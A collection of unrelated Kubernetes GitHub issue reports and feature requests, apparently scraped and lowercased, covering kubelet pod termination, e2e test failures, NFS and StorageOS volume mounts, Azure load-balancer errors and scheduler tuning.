<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  ?\r  \r   what happened  :\r 1. create a pod  say poda  with node selector 'status=online'\r 2. poda is scheudled to nodea which has label status=online\r 3. update nodea's label with status=offline\r 4. restart kubelet on nodea\r \r poda is terminated with \ kill -9\ . \r \r   what you expected to happen  :\r \r pod should be terminated gracefully, with the prestop hook executed as well.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see above.\r \r   anything else we need to know?  :\r \r with some digging into the codes, it might be caused by this...\r \r when kubelet starts, it executes all predicates rules on each running pod. in case there is a particular predicate function fails  in our case the node labels don't match with the running pod's label , kubelet rejects the pod and marks its phase as 'failed'. \r    \r \t\t\t// check if we can admit the pod; if not, reject it.\r \t\t\tif ok, reason, message := kl.canadmitpod activepods, pod ; !ok {\r \t\t\t\tkl.rejectpod pod, reason, message \r \t\t\t\tcontinue\r \t\t\t}\r    \r then the pod clean up process a separated go routine  starts cleaning up the lingering cgroup dirs for those 'failed' pods.  however such process uses 'kill -9' rather than graceful termination process. \r \r from the docs, the pod with 'failed' phase refers to 'all containers in the pod have terminated, and at least one container has terminated in failure. that is, the container either exited with non-zero status or was terminated by the system.'  \r \r but obviously the pod has not been terminated yet in our case.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.8\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : 3.10.0-514.6.2.el7.x86_64  1 smp thu feb 23 03:04:39 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

which jobs are failing  :\r \r job\t| testgrid link\t| first failed build\r --- | --- | ---\r gke-cos-1.14-default | https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-default | 9334\r gke-cos-1.14-default | https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-default | 9334\r soak-gci-gce-1.14 | https://testgrid.k8s.io/sig-release-1.14-all soak-gci-gce-1.14 | 641\r \r   which test s  are failing  :\r -   k8s.io  nodelease when the nodelease feature is enabled the kubelet should create and update a lease in the kube-node-lease namespace \r -   k8s.io  nodelease when the nodelease feature is enabled the kubelet should report node status infrequently \r -   k8s.io   sig-node  kubelet  serial   slow   k8s.io   sig-node  regular resource usage tracking resource tracking for 100 pods per node \r \r   since when has it been failing  :\r 2019-02-19\r \r   reason for failure  :\r - some timeouts  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-default/9335 :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/node_lease.go:84\r timed out after 300.000s.\r    \r - memory usage exceeding limits  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-soak-gci-gce-beta/641 \r    \r node bootstrap-e2e-minion-group-ssr8:\r  container \ runtime\ : expected rss memory  mb  < 367001600; got 370081792\r    \r \r   / /milestone v1.14\r \r cc @mariantalla @alejandrox1 @kacole2 @mortent\r

console $ echo $kubernetes_provider gke $ go run ./hack/e2e.go --isup -v                                                                                                           2015/12/08 15:01:44 e2e.go:303: running: get status ... in gke:prepare-e2e   it looks as if you don't have a compiled kubectl binary  if you are running from a clone of the git repo, please run './build/run.sh hack/build-cross.sh'. note that this requires having docker installed. $ go run hack/e2e.go --build -v 2015/12/08 15:01:19 e2e.go:303: running: build-release ... in gke:prepare-e2e   ... in gke:test-build-release   ... we currently use the kubernetes version that gke supports, ... not bleeding-edge builds. 2015/12/08 15:01:19 e2e.go:305: step 'build-release' finished in 5.167061ms $ ./build/run.sh hack/build-cross.sh +++  1208 15:02:03  verifying prerequisites....  ...  +++  1208 23:04:30  placing binaries +++  1208 15:04:59  running build command.... +++  1208 15:05:00  output directory is local.  no need to copy results out. $ go run ./hack/e2e.go --isup -v 2015/12/08 15:05:18 e2e.go:303: running: get status ... in gke:prepare-e2e   client version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-alpha.4.523+d568a92d6361a3\ , gitcommit:\ d568a92d6361a3c4d9c5945f6070b1006a909afc\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.6\ , gitcommit:\ 388061f00f0d9e4d641f9ed4971c775e1654579d\ , gittreestate:\ clean\ } 2015/12/08 15:05:19 e2e.go:305: step 'get status' finished in 1.322677496s 2015/12/08 15:05:19 e2e.go:95: cluster is up

the doc for this suggests that it is not limited to flannel, and i agree that this is essentially true.  the scripts should be generalized to actually support alternatives.  at least cni plugins.

hi guys,  i just noticed that i'm not able to mount the nfs service as described in the nfs example. mounting using the pod's ip works fine:      kubectl describe po nfs-server-e6qzy | grep ^ip ip:     10.233.127.3  mount.nfs 10.233.127.3:/ /mnt  cat /mnt/index.html hello from nfs!      but when i use the service it doesn't work      kubectl get svc | grep nfs nfs-server   10.233.45.48   <none>        2049/tcp   2m  mount.nfs 10.233.45.48:/ /mnt mount.nfs: connection timed out      there are no error logs in the kube-proxy logs:      i0414 12:28:50.569854       1 proxier.go:415  adding new service \ default/nfs-server:\  at 10.233.45.48:2049/tcp i0414 12:28:50.569999       1 proxier.go:360  proxying for service \ default/nfs-server:\  on tcp port 49291  kubectl get endpoints  | grep nfs nfs-server   10.233.127.3:2049   8m      the forwarding rule seems to be configured:       dnat       tcp  --  0.0.0.0/0            10.233.45.48         /  default/nfs-server:  / tcp dpt:2049 to:10.128.0.2:49291      this has been reproduced with flannel and calico on gce and baremetal. i'm going to try with the proxy-mode = iptables, though i don't know if that will change anything. do you have any idea ?

we would like to mount a glusterfs volume as nfs mount. glusterfs supports  nfs v3 tcp mode  http://www.gluster.org/community/documentation/index.php/gluster_3.1:_manually_mounting_volumes_using_nfs . nfs supports automatic reclaiming of disk space, which is useful. can this be supported in kubernetes?  thanks.

git rm -rf pkg/client/clientset_generated/internalclientset hack/update-codegen.sh git add .      returns differences on master.  that doesn't seem correct @caesarxuchao @kubernetes/sig-api-machinery   hit this while trying to rebase openshift - if @thockin removes generated code, will he be removing these as well?  two proposed fixes here: 1. have expansions be generated along with the code into the output directory, instead of living in the output directory 2. remove the old generated job in the extensions client  it's in batch client now .

what's the problem?  volume plugins, e.g. rbd, that implement attach/detach interface need to know the namespace to get secret to attach and detach volume.    background   volume.spec  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/plugins.go l234  transfers information between controllers and volume plugins. it is the only place we can add namespace and expect it to be used by both controllers and plugins.  controllers  currently only attach_detach_controller  inspect volume.spec to the access credentials to communicate with storage providers and attach/detach volumes. in the future, other  volume controllers  resize/snapshot/replication/etc  will likely follow the same pattern to use the volume.spec and execute storage operations.    proposal     api and struct change - in  volume.spec , add  namespace  to accept pod's namespace. - adding namespace as input parameter to  newspecfromvolume    and  newspecfrompersistentvolume   .     controller change       attach_detach_controller.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/attach_detach_controller.go   attach/detach controller need to pass  namespace  to plugins.  - in  createvolumespec   , apply  podnamespace  to  newspecfromvolume    - in  getpvspecfromcache   , apply pv's  claimref.namespace  to  newspecfrompersistentvolume         pv controller  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/persistentvolume/controller.go   pv controller constructs  volume.spec  in: -  recyclevolumeoperation   . currently only nfs and hostpath support recycler. none of them needs namespace. it is safe to pass empty namespace to  volume.spec . -  dodeletevolume   . currently pv deleters are expected to maintain the admin's secret in pv annotations. it is safe to pass empty namespace to  volume.spec . -  finddeletableplugin   . namespace is not needed either.     other impact  flexvolume redesign likely wants to get and pass namespace to external executable that implement volume attach/detach.  @kubernetes/sig-storage @thockin @saad-ali @childsb  @chakri-nelluri @spinolacastro @elsonrodriguez

we have a lot of calls to  translatepoduid  through our codebase, and it can be difficult to keep track of where it's needed. we should leverage the type system with an internal type for poduids that have been resolved to a static pod uid so it's clear when the translation is or is not needed.\r \r /cc @yujuhong

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-proto/692/  failed:  k8s.io  kubelet  k8s.io  clean up pods on node kubelet should be able to delete 10 pods per node in 1m0s. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet.go:227 expected error:     < errors.errorstring | 0xc4211df390>: {         s: \ 2 containers failed which is more than allowed 1\ ,     }     2 containers failed which is more than allowed 1 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet.go:199       previous issues for this test:  28106  35197

i've checked out visual studio code plugin that @brendandburns wrote, and it is pretty awesome!\r \r i've considered how to improve rendering of it's  kubectl describe  and  kubectl explain  view, and realised that it would help a lot if these command could produce markdown or something similar. also it'd be great to have some kind of pages separators, when output contains multiple items  probably only apply to  kubectl describe  .

kubernetes version    use  kubectl version  : 1.5\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r node status updater is trying to look for a node name with empty string. investigation is needed as to why this happens.\r https://gist.github.com/rkouj/979f70c1d3fda1b1ca5d751b65009ff9 file-gistfile1-txt-l12\r \r \r   how to reproduce it    as minimally and precisely as possible :\r i found it when i was running the manual upgrade test for 1.4 to 1.5\r however, i suspect this is something that happens frequently.\r \r

from a user report:\r \r description of problem:\r rolling update does not perform as it described in documentation.\r \r 1. it was discovered that system does not wait for pod to terminate. as a result update finishes with less active pods then required.\r when pods take long time to terminate rolling update scenario finished with this:\r \r name           ready     status        restarts   age\r pret-1-build   0/1       completed     0          19m\r pret-1-nwz64   1/1       terminating   0          18m\r pret-1-oeakn   1/1       terminating   0          17m\r pret-1-ov9j0   1/1       terminating   0          19m\r pret-1-wauee   1/1       terminating   0          18m\r pret-2-0hukg   0/1       running       0          27s\r pret-2-2qk9o   0/1       running       0          31s\r pret-2-build   0/1       completed     0          1m\r pret-2-ie41n   1/1       running       0          46s\r pret-2-j6gxm   1/1       running       0          21s\r \r in this example there are only two pods which are in running and ready state.\r \r 2. pods which were requested to terminate are still marked as ready. whereas  0  says that pod is removed from end points list when it is shown as terminating.\r  0  https://github.com/kubernetes/kubernetes/blob/release-1.1/docs/user-guide/pods.md termination-of-pods\r \r https://bugzilla.redhat.com/show_bug.cgi?id=1307004\r \r cc: @kubernetes/deployment

is this a request for help?   : no\r \r   what keywords did you search in kubernetes issues before filing this one?   : i scanned every  area/stateful-apps  issues\r \r ---\r \r   is this a bug report or feature request?   : feature request\r \r we are currently using statefulset to manage a distributed datastore  elasticsearch . we would like to use poddisruptionbudget to ensure that draining node, rescheduling etc do not damage our data.\r my problem is that afaik currently we only have a state of health for each of the pod in the statefulset. however in a distributed datastore, every pod may be in a healthy state but the global application state may be not healthy. in my case elasticsearch can have 3 different states  red, yellow and green . what i would like to be able to model is that something  in similar way of poddisruptionbudget  would prevent to intentionally evict a pod of a stateful app when this app is still recovering  red or yellow state . so in my case if all pods of my elasticsearch cluster are healthy but elasticsearch itself is in yellow or red state it should prevent eviction of any pod of this cluster.\r \r   kubernetes version   : i'm using 1.5 but afaik there is nothing in 1.6 on that subject\r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : cos\r -   kernel   : 4.4\r -   install tools  : gke\r -   others  : elasticsearch\r \r \r   what happened  :\r if draining node with pod of stateful app in recovery state, i can't prevent eviction of this pod.\r \r   what you expected to happen  :\r i would like the scheduler to prevent pod eviction untill stateful app state is in recovery\r

todos:\r \r    x   kubectl describe  list of controllers for an object.\r    x   kubectl drain  pod filtering.\r    x  classifying failed pods in e2e test framework.\r    x  cronjob grouping jobs by owner/creator.\r       announce deprecation of created-by annotation in the release note\r \r @erictune @enisoc @kow3ns @foxish @kargakis @kubernetes/sig-apps-feature-requests

kubernetes version    use  kubectl version  :\r master\r \r   environment  :\r -   cloud provider or hardware configuration  : gce using kube-up\r -   os    e.g. from /etc/os-release : gci\r -   install tools  : kube-up\r \r   what happened  :\r \r kubernetes apiserver is not able to keep up with pod / networkpolicy watches when running a large cluster using calico.\r \r additionally, calico is still using its own masquerade implementation, while the kube-up scripts have been modified to now deploy the ip-masq-agent.  \r \r   what you expected to happen  :\r \r - calico should use the  typha  https://github.com/projectcalico/typha  fanout service for efficient api access.  \r - calico/node resource requests should be sized based on the cluster size.\r - calico should use the ip-masq-agent for masquerade.\r \r   anything else we need to know  :\r \r fix is in pr  47188

following the design proposal on kubernetes/community 1152 this will be the issue that will track down the work to implement predicates ordering, work to be done:\r \r   set predicate ordering to create the proposed static ordering / tests\r   export restrictiveness as a prometheus metric\r   write docs and examples\r \r also to be done based on customers feedback:\r \r   implement the end-user ordering  scheduler policy parsing + override of the static ordering  / tests\r \r \r i'll create the prs accordingly, after  kubernetes/community 1152 is merged.\r \r @gmarek @bsalamat @k82cn

feature request  : cache style volumes\r  \r   what happened  :\r my application uses filesystem as a cache for some data. it can restart from sratch, but would benefit a \ hot\  cache on startup.\r i only can use an  emptydir  volume for now, as all other volumes strategies involve distributed storage or strong persistence constraints, while i'm looking for fast i/o.\r \r   what you expected to happen  :\r i'd like i could request a  cache  volume for my app, so that i get an  emptydir  first time app is ran on a node, then retrieve previous content if another pod for same app is later deployed on this same node.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when primaryavailabilitysetname is not set,  loadbalancer service will fail sometimes with error networkinterfaceandloadbalancerareindifferentavailabilitysets.\r \r related logs: \r \r     \r error processing service default/iis  will retry : failed to ensure load balancer for service default/iis:  ensure default/iis : backendpoolid /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.network/loadbalancers/<lb-name>/backendaddresspools/<lb-name>  - failed to ensure host in pool: \ network.interfacesclient createorupdate: failure responding to request: statuscode=400 -- original error: autorest/azure: service returned an error. status=400 code=\\\ networkinterfaceandloadbalancerareindifferentavailabilitysets\\\  message=\\\ network interface /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.network/networkinterfaces/k8s-agentpool2-13488485-nic-0 uses load balancer /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.network/loadbalancers/<lb-name> associated with different availability set  /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.compute/availabilitysets/windowspool3-availabilityset-13488485  than availability set of the nic  /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.compute/availabilitysets/agentpool2-availabilityset-13488485 .\\\  details=  \ , ensure default/iis : backendpoolid /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.network/loadbalancers/<lb-name>/backendaddresspools/<lb-name>  - failed to ensure host in pool: \ network.interfacesclient createorupdate: failure responding to request: statuscode=400 -- original error: autorest/azure: service returned an error. status=400 code=\\\ networkinterfaceandloadbalancerareindifferentavailabilitysets\\\  message=\\\ network interface /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.network/networkinterfaces/k8s-agentpool1-13488485-nic-0 uses load balancer /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.network/loadbalancers/<lb-name> associated with different availability set  /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.compute/availabilitysets/windowspool3-availabilityset-13488485  than availability set of the nic  /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.compute/availabilitysets/agentpool1-availabilityset-13488485 .\\\  details=  \ , ensure default/iis : backendpoolid /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.network/loadbalancers/<lb-name>/backendaddresspools/<lb-name>  - failed to ensure host in pool: \ network.interfacesclient createorupdate: failure responding to request: statuscode=400 -- original error: autorest/azure: service returned an error. status=400 code=\\\ networkinterfaceusesmultipleloadbalancersofsametype\\\  message=\\\ network interface /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.network/networkinterfaces/k8s-master-13488485-nic-0 references more than one load balancer of the same type  internal or public : /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.network/loadbalancers/k8s-master-lb-13488485, /subscriptions/<subscription-id>/resourcegroups/<rg>/providers/microsoft.network/loadbalancers/<lb-name>. only one internal and one public load balancer are allowed per availability set.\\\  details=  \  \r    \r \r   what you expected to happen  :\r \r provision service public ip correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r set  \ primaryavailabilitysetname\ :\ \   when creating kube-controller-manager service.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

hello.\r \r  \r   what happened  :\r 1. create a volume with  storageos volume create test-volume \r 2. this volume fails to mount with  storageos volume mount test-volume /test \r 3. kubernetes also fails to mount with via persistentvolume+persistentvolume claim  i reproduced that by following \ pre-provisioned persistent volumes\  guide in storageos docs - https://docs.storageos.com/docs/install/kubernetes/preprovisioned \r \r   what you expected to happen  :\r i anticipated that storageos volume would operate as expected or storageos cli would report that's wrong.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm not sure since the problem is probably caused either by hardware, my kubernetes cluster or another external factor. please see below for more details about the environment.\r \r   anything else we need to know?  :\r i run 2-node on-premise kubernetes cluster. the scheduler does not schedule any pods for the master node, so the only active node is a single worker node. thus, storageos daemonset contains one pod:\r    \r name        desired   current   ready     up-to-date   available   node selector   age\r storageos   1         1         1         1            1           <none>          2d\r    \r also, when i run  storageos version  on the master node, it fails with  get http://storageos-cluster/version: failed to dial all known cluster members,  127.0.0.1:5705   error because master node itself does not run storageos pod. so i run all  storageos  cli commands from the worker node shell.\r \r  storageos cluster health  does not display any issues:\r    \r root@node1 ~   storageos cluster health\r node   address       cp_status  dp_status\r node1  159.69.116.1  healthy    healthy\r    \r \r  storageos volume ls  displays volume status as active:\r    \r root@node1 ~   storageos volume ls\r namespace/name       size  mount  selector  status  replicas  location\r default/test1        15gb                   active  0/0       node1  healthy \r    \r \r while playing with storageos interactive demos on kotacoda - http://play.storageos.com, i noted that storageos creates a folder in  /var/lib/storageos/volumes  for every created volume.\r \r on my machine, this folder is empty. note  drwxrwxrwx  permissions for  volumes  folder. i set it in order to validate that it is not the reason for storageos to not being able to create a volume.\r    \r root@node1 ~   ls -la /var/lib/storageos/volumes/\r total 8\r drwxrwxrwx 2 root root 4096 aug 24 00:20 .\r drwxr-xr-x 8 root root 4096 aug 24 19:49 ..\r    \r \r also, i found that after calling  storageos volume create ,  /var/lib/storageos/logs/storageos.log  contains a number of logging entries, one of which with  level=error :\r    \r time=\ 2018-08-24t22:38:54z\  level=error msg=\ filesystem client: presentation create failed\  action=create error=\ <nil>\  module=statesync reason=\ create refused by validator\  volume_uuid=0a8f6232-c0f5-9ed1-a213-5669ed9533ae                                                                                      \r time=\ 2018-08-24t22:38:54z\  level=info msg=\ virtual bool fsconfig::presentationeventsemantics::validate event_type : not adding pr_filename '0a8f6232-c0f5-9ed1-a213-5669ed9533ae' for volume 238534 - already exists for volume 238534 category=fscfg level=warn\  category=fscfg module=supervisor                 \r time=\ 2018-08-24t22:38:54z\  level=info msg=\ validator 'device_validator' rejected event{type create} category=libcfg level=warn\  category=libcfg module=supervisor\r    \r \r i found a stackoverflow discussion which seems to be relevant - https://stackoverflow.com/questions/51292759/rancher-kubernetes-and-storageos-persistent-storage-volume-mount-issue\r although, this thread does not contain any solution.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r root@master ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r on-premise cluster with 2 nodes, master  scheduler does not schedule any pods to run there , and worker. mount propagation enabled both in kubernetes  it's enabled by default in k8s 1.10+  and in docker, validated with:\r    \r   a successful run is proof of mount propagation enabled\r docker run -it --rm -v /mnt:/mnt:shared busybox sh -c /bin/date\r    \r \r - os  e.g. from /etc/os-release :\r  debian gnu/linux 9  stretch   on both nodes.\r \r - kernel  e.g.  uname -a  :\r    \r linux master 4.9.0-7-amd64  1 smp debian 4.9.110-1  2018-07-05  x86_64 gnu/linux\r    \r    \r linux node1 4.9.0-7-amd64  1 smp debian 4.9.110-1  2018-07-05  x86_64 gnu/linux\r    \r \r - install tools:\r cluster installed with https://github.com/kubernetes-incubator/kubespray\r \r please let me know if any other details could be useful.\r thanks.

we have duplicate code in k/release and k/k for deb s  and rpm s . \r \r the code in k/release is built using:\r    \r ./jenkins.sh --kube-version 1.12.0 --distros xenial   debs \r ./docker-build.sh   rpms \r    \r \r the code in k/k is built using:\r    \r bazel build //build/debs \r bazel build //build/rpms\r    \r \r note that the code in k/release can sign the debs and rpms, while the one in k/k doesn't  afaict . \r \r since k/k is versioned and k/release is not, we need to drop the code in k/release and stick to the one in k/k. more specifically we need to change our release process to build the stuff from k/k and push them to where ever we publish artifacts. so there's a lot more digging to be done\r \r related issue : https://github.com/kubernetes/release/issues/631\r \r  \r cc @tpepper @calebamiles @justaugustus

i would like to be able to provide my own certificate for the cluster. in this case i would like to be able to provide a wildcard cert assigned to the devops subdomain. additionally, i know someone else who would like to use a normal root ca signed cert for their cluster and i can imagine this would apply equally to anyone using private ca's for their internal domains such as active directory signed certs, etc.

using kubernetes 1.1.2 with vagrant provider, running two pods:      ./cluster/kubectl.sh get po name               ready     status    restarts   age mysql-pod          1/1       running   0          21s wildfly-rc-l2cto   1/1       running   0          21s      one of the pods was deleted:      ./cluster/kubectl.sh delete po wildfly-rc-l2cto pod \ wildfly-rc-l2cto\  deleted      watching the status of pods are shown as:      ./cluster/kubectl.sh get -w po name               ready     status        restarts   age mysql-pod          1/1       running       0          1m wildfly-rc-2o8vd   1/1       running       0          13s wildfly-rc-l2cto   1/1       terminating   0          1m name               ready     status        restarts   age wildfly-rc-l2cto   0/1       terminating   0          1m wildfly-rc-l2cto   0/1       terminating   0         1m wildfly-rc-l2cto   0/1       terminating   0         1m      two issues: - refreshed status shows the only for the changed pod and shows it three times - even after waiting for 5 minutes, the status does not refresh to terminated  just checking the status as  kubectl.sh get po  shows that the pod has been terminated. but its confusing that with  -w  the status never updates to terminated or something intuitive.

for example, there is a  manual conversion function  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/v1/conversion.go l269  for podspec and a  generated conversion function  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/v1/conversion_generated.go l5287 .  this doesn't cause any real issue because the generated function is not used. however, it confuses people when they add fields and see the generated conversion functions have covered the new fields, but the roundtrip tests fail.  @wojtek-t @lavalamp

console kube_cover=\ y\  kube_coverprocs=8 ./hack/test-go.sh -- -p=2 --- fail: testsnippetwriter  0.00s          snippet_writer_test.go:85: expected \ snippet_writer_test.go:78\  but didn't find it in \ template: /home/stack/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/libs/go2idl/generator  /snippet_writer_test.go:77:1: unclosed action\  fail coverage: 10.2% of statements fail    k8s.io/kubernetes/cmd/libs/go2idl/generator     0.053s

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging/6131/  failed:  k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner should create and delete persistent volumes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:123 expected error:     < errors.errorstring | 0xc8219ac220>: {         s: \ persistentvolumeclaim pvc-tq5e1 not in phase bound within 5m0s\ ,     }     persistentvolumeclaim pvc-tq5e1 not in phase bound within 5m0s not to have occurred      previous issues for this test:  26682

i'm working on adding hostport support to a cni plugin for kubernetes. i've found that in order for cni plugins to honor and implement hostport requests, the opening of the port itself  i.e. reservation  must be made by a long-running daemon process   discussed here by thockin  https://github.com/containernetworking/cni/issues/46 issuecomment-236965077  . currently, this is taken care of  in kubenet code  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/network/kubenet/kubenet_linux.go l356 . but this forces cni plugins to manage reservation of the portmapping themeselves. because 3rd party cni plugins are oneshots and do not necessarily run as daemon processes, it is difficult for them to cleanly manage these ports.  therefore, the opening and holding of ports should be moved from kubenet code into kubelet’s cni code, allowing cni plugins to rely on kubernetes to take care of hostport opening / reservation. this will likely need to be done anyway as part of moving kubenet into its own cni plugin.

this was suggested by @matchstick a couple of weeks ago and it makes a lot of sense.\r \r our \ best-fit\  scheduling algorithm   \ mostrequestedprioity\   https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/priorities/most_requested.go   is pure best-fit, which ties to pack nodes to 100% in all resource dimensions. but this is actually too aggressive because  1  it's never good to pack a node to 100% because it makes the os freak out, and  2  we have oor killers for memory and disk that start evicting pods at < 100% utilization. so mostrequested be targeting 100%  i.e. giving the best score to 100% full , instead it should target something lower, with a large score penalty for exceeding that.\r \r  in theory we could instead change the resource predicate function to not allow packing to 100%, but i think that would be too confusing for users. it's also too conservative, since oor is based on usage while resource predicate function is based on request. \r \r documentation on oor killers is  here  https://kubernetes.io/docs/admin/out-of-resource/ . it looks like the configuration is  here  https://github.com/kubernetes/kubernetes/blob/1fc1e5efb5e5e1f821bfff8e2ef2dc308bfade8a/cmd/kubelet/app/options/options.go l240  and on the subsequent line.\r \r i think we want there to be some way to configure the \ how much less than 100%\  threshold  independently for memory and disk, though of course today we don't have disk as a resource . iirc we don't currently have any scheduler predicate or  that take configuration arguments  this should be verified--i could be wrong , in which case we need to figure out a reasonable way to pass them arguments. in particular, we should make sure the design of  41600 makes it possible to specify arguments to the predicate and   even if such arguments are independent config options whose name suggests which predicate/ they are tied to .\r \r because oor is based on usage rather than request, we don't need to target something much lower than 100%, but it should be something lower, and user-configurable.\r \r @kubernetes/sig-scheduling-feature-requests \r \r cc/ @bsalamat who is working on  41600 \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r storage resource request\r container file size limit\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws / gke / azure\r \r   what happened  :\r \r    \r $kubectl run blah --image=ubuntu --replicas=1 --restart=never --requests=storage=30g\r the pod \ blah\  is invalid: spec.containers 0 .resources.requests storage : invalid value: \ storage\ : must be a standard resource for containers\r    \r \r   what you expected to happen  :\r \r the above command to work.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    \r $kubectl run blah --image=ubuntu --replicas=1 --restart=never --requests=storage=30g\r the pod \ blah\  is invalid: spec.containers 0 .resources.requests storage : invalid value: \ storage\ : must be a standard resource for containers\r    \r \r   the motivation for this request  :\r \r we have users processing very disparate data sets using a large variety of tools. much of this processing deals with file i/o as an intermediate step. because we are processing huge data sets  gb,tb, exa, etc  we break this into chunks digestible for each pod on k8s.\r \r however. each container comes w a 10gb disk size limit.  if there's a way to up this limit, that would basically be what i'm looking for .\r \r right now, we poke a hole for a host mount for any file io that needs to happen. however, that results in a few negative consequences\r \r 1  there can be disk contention for this resource  resulting in bad scheduling , and\r 2  if a pod is evicted, we can't run our cleanup code  as part of the pod  to remove the data written to the host mount and so 'leak' disk usage\r \r that second one in particular can lead to some pathological cases, where an eviction or a few can pile up and lead to disk exhaustion.\r \r especially considering k8s is moving away from the gc model to the eviction policy model, i'd like to make this not a host path, but just part of the normal container filesystem. then, k8s could do the right thing and evict  and remove old volumes / etc  as needed.\r \r to do that, i'd need to be able to \r \r a  set the container filesystem size  for 'correctness' to be able to run these data sets \r b  set a resource request and/or limit on the disk size  to inform k8s how to schedule these jobs \r \r \r \r \r \r

